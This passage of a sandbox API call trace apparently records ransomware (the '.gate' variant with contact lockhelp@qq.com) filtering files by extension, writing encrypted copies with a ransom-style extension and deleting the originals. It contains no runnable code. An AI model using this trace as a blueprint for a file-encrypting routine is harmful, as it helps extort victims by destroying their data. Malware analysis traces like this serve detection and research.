[0110.982] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.982] lstrlenW (lpString=".xls") returned 4 [0110.982] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.982] lstrlenW (lpString=".xlsx") returned 5 [0110.982] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.982] lstrlenW (lpString=".ppt") returned 4 [0110.983] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.983] lstrlenW (lpString=".zip") returned 4 [0110.983] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.983] lstrlenW (lpString=".rar") returned 4 [0110.983] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.983] lstrlenW (lpString=".bz2") returned 4 [0110.983] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.983] lstrlenW (lpString=".7z") returned 3 [0110.983] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.983] lstrlenW (lpString=".dbf") returned 4 [0110.983] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.983] lstrlenW (lpString=".1cd") returned 4 [0110.983] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.983] lstrlenW (lpString=".jpg") returned 4 [0110.983] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.983] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.983] lstrlenW (lpString=".doc") returned 4 [0110.983] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.983] lstrlenW (lpString=".docx") returned 5 [0110.983] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.983] lstrlenW (lpString=".pdf") returned 4 [0110.983] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.984] lstrlenW (lpString=".xls") returned 4 [0110.984] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.984] lstrlenW (lpString=".xlsx") returned 5 [0110.984] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.984] lstrlenW (lpString=".ppt") returned 4 [0110.984] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.984] lstrlenW (lpString=".zip") returned 4 [0110.984] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.984] lstrlenW (lpString=".rar") returned 4 [0110.984] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.984] lstrlenW (lpString=".bz2") returned 4 [0110.984] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.984] lstrlenW (lpString=".7z") returned 3 [0110.984] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.984] lstrlenW (lpString=".dbf") returned 4 [0110.984] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.984] lstrlenW (lpString=".1cd") returned 4 [0110.984] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.984] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.984] lstrlenW (lpString=".jpg") returned 4 [0110.984] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.985] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0110.985] lstrlenW (lpString="eula.rtf") returned 8 [0110.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0110.985] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3314) returned 1 [0110.985] CloseHandle (hObject=0x338) returned 1 [0110.985] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 0x80 [0110.985] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0110.985] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0110.985] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0110.985] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0110.986] GetLastError () returned 0x0 [0110.986] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xcf2, lpOverlapped=0x0) returned 1 [0111.034] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xd00, lpOverlapped=0x0) returned 1 [0111.036] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0111.036] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0111.036] SetEndOfFile (hFile=0x33c) returned 1 [0111.036] CloseHandle (hObject=0x33c) returned 1 [0111.037] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.037] SetEndOfFile (hFile=0x338) returned 1 [0111.038] CloseHandle (hObject=0x338) returned 1 [0111.038] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.039] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf")) returned 1 [0111.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.039] lstrlenW (lpString=".doc") returned 4 [0111.039] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.039] lstrlenW (lpString=".docx") returned 5 [0111.039] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.039] lstrlenW (lpString=".pdf") returned 4 [0111.039] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.039] lstrlenW (lpString=".xls") returned 4 [0111.039] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.039] lstrlenW (lpString=".xlsx") returned 5 [0111.039] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.039] lstrlenW (lpString=".ppt") returned 4 [0111.040] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.040] lstrlenW (lpString=".zip") returned 4 [0111.040] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.040] lstrlenW (lpString=".rar") returned 4 [0111.040] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.040] lstrlenW (lpString=".bz2") returned 4 [0111.040] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.040] lstrlenW (lpString=".7z") returned 3 [0111.040] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.040] lstrlenW (lpString=".dbf") returned 4 [0111.040] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.040] lstrlenW (lpString=".1cd") returned 4 [0111.040] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.040] lstrlenW (lpString=".jpg") returned 4 [0111.040] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.040] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.040] lstrlenW (lpString=".doc") returned 4 [0111.040] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.040] lstrlenW (lpString=".docx") returned 5 [0111.040] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.041] lstrlenW (lpString=".pdf") returned 4 [0111.041] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.041] lstrlenW (lpString=".xls") returned 4 [0111.041] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.041] lstrlenW (lpString=".xlsx") returned 5 [0111.041] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.041] lstrlenW (lpString=".ppt") returned 4 [0111.041] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.041] lstrlenW (lpString=".zip") returned 4 [0111.041] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.041] lstrlenW (lpString=".rar") returned 4 [0111.041] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.041] lstrlenW (lpString=".bz2") returned 4 [0111.041] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.041] lstrlenW (lpString=".7z") returned 3 [0111.041] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.041] lstrlenW (lpString=".dbf") returned 4 [0111.041] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.041] lstrlenW (lpString=".1cd") returned 4 [0111.041] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.041] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0111.041] lstrlenW (lpString=".jpg") returned 4 [0111.041] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.042] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0111.042] lstrlenW (lpString="LocalizedData.xml") returned 17 [0111.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0111.042] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=77748) returned 1 [0111.042] CloseHandle (hObject=0x338) returned 1 [0111.042] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0111.042] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.042] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0111.043] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.043] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.043] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0111.043] GetLastError () returned 0x0 [0111.043] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0111.065] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0111.068] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0111.068] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0111.068] SetEndOfFile (hFile=0x33c) returned 1 [0111.068] CloseHandle (hObject=0x33c) returned 1 [0111.071] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.071] SetEndOfFile (hFile=0x338) returned 1 [0111.072] CloseHandle (hObject=0x338) returned 1 [0111.072] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.073] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0111.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.073] lstrlenW (lpString=".doc") returned 4 [0111.073] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.073] lstrlenW (lpString=".docx") returned 5 [0111.073] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.073] lstrlenW (lpString=".pdf") returned 4 [0111.073] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.073] lstrlenW (lpString=".xls") returned 4 [0111.073] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.073] lstrlenW (lpString=".xlsx") returned 5 [0111.073] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.073] lstrlenW (lpString=".ppt") returned 4 [0111.073] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.073] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.073] lstrlenW (lpString=".zip") returned 4 [0111.073] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.073] lstrlenW (lpString=".rar") returned 4 [0111.074] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.074] lstrlenW (lpString=".bz2") returned 4 [0111.074] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.074] lstrlenW (lpString=".7z") returned 3 [0111.074] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.074] lstrlenW (lpString=".dbf") returned 4 [0111.074] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.074] lstrlenW (lpString=".1cd") returned 4 [0111.074] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.074] lstrlenW (lpString=".jpg") returned 4 [0111.074] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.074] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.074] lstrlenW (lpString=".doc") returned 4 [0111.074] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0111.074] lstrlenW (lpString=".docx") returned 5 [0111.074] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0111.074] lstrlenW (lpString=".pdf") returned 4 [0111.074] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0111.074] lstrlenW (lpString=".xls") returned 4 [0111.074] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0111.074] lstrlenW (lpString=".xlsx") returned 5 [0111.074] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0111.075] lstrlenW (lpString=".ppt") returned 4 [0111.075] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0111.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.075] lstrlenW (lpString=".zip") returned 4 [0111.075] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0111.075] lstrlenW (lpString=".rar") returned 4 [0111.075] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0111.075] lstrlenW (lpString=".bz2") returned 4 [0111.075] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0111.075] lstrlenW (lpString=".7z") returned 3 [0111.075] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0111.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.075] lstrlenW (lpString=".dbf") returned 4 [0111.075] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0111.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.075] lstrlenW (lpString=".1cd") returned 4 [0111.075] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0111.075] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0111.075] lstrlenW (lpString=".jpg") returned 4 [0111.075] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0111.075] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0111.075] lstrlenW (lpString="eula.rtf") returned 8 [0111.075] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0111.076] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3419) returned 1 [0111.076] CloseHandle (hObject=0x338) returned 1 [0111.076] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0111.076] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.076] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0111.076] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.076] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.076] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0111.077] GetLastError () returned 0x0 [0111.077] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xd5b, lpOverlapped=0x0) returned 1 [0111.246] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xd60, lpOverlapped=0x0) returned 1 [0111.248] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0111.248] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0111.249] SetEndOfFile (hFile=0x33c) returned 1 [0111.249] CloseHandle (hObject=0x33c) returned 1 [0111.249] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0111.250] SetEndOfFile (hFile=0x338) returned 1 [0111.250] CloseHandle (hObject=0x338) returned 1 [0111.251] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.251] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0111.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.251] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.251] lstrlenW (lpString=".doc") returned 4 [0111.251] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.251] lstrlenW (lpString=".docx") returned 5 [0111.251] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.251] lstrlenW (lpString=".pdf") returned 4 [0111.251] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.251] lstrlenW (lpString=".xls") returned 4 [0111.252] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.252] lstrlenW (lpString=".xlsx") returned 5 [0111.252] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.252] lstrlenW (lpString=".ppt") returned 4 [0111.252] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.252] lstrlenW (lpString=".zip") returned 4 [0111.252] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.252] lstrlenW (lpString=".rar") returned 4 [0111.252] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.252] lstrlenW (lpString=".bz2") returned 4 [0111.252] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.252] lstrlenW (lpString=".7z") returned 3 [0111.252] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.252] lstrlenW (lpString=".dbf") returned 4 [0111.252] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.252] lstrlenW (lpString=".1cd") returned 4 [0111.252] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.252] lstrlenW (lpString=".jpg") returned 4 [0111.252] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.252] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.252] lstrlenW (lpString=".doc") returned 4 [0111.253] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.253] lstrlenW (lpString=".docx") returned 5 [0111.253] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.253] lstrlenW (lpString=".pdf") returned 4 [0111.253] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.253] lstrlenW (lpString=".xls") returned 4 [0111.253] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.253] lstrlenW (lpString=".xlsx") returned 5 [0111.253] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.253] lstrlenW (lpString=".ppt") returned 4 [0111.253] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.253] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0111.253] lstrlenW (lpString=".zip") returned 4 [0111.253] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.253] lstrlenW (lpString=".rar") returned 4 [0111.253] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.253] lstrlenW (lpString=".bz2") returned 4 [0111.253] lstrcmpiW (lpString1=".bz2", 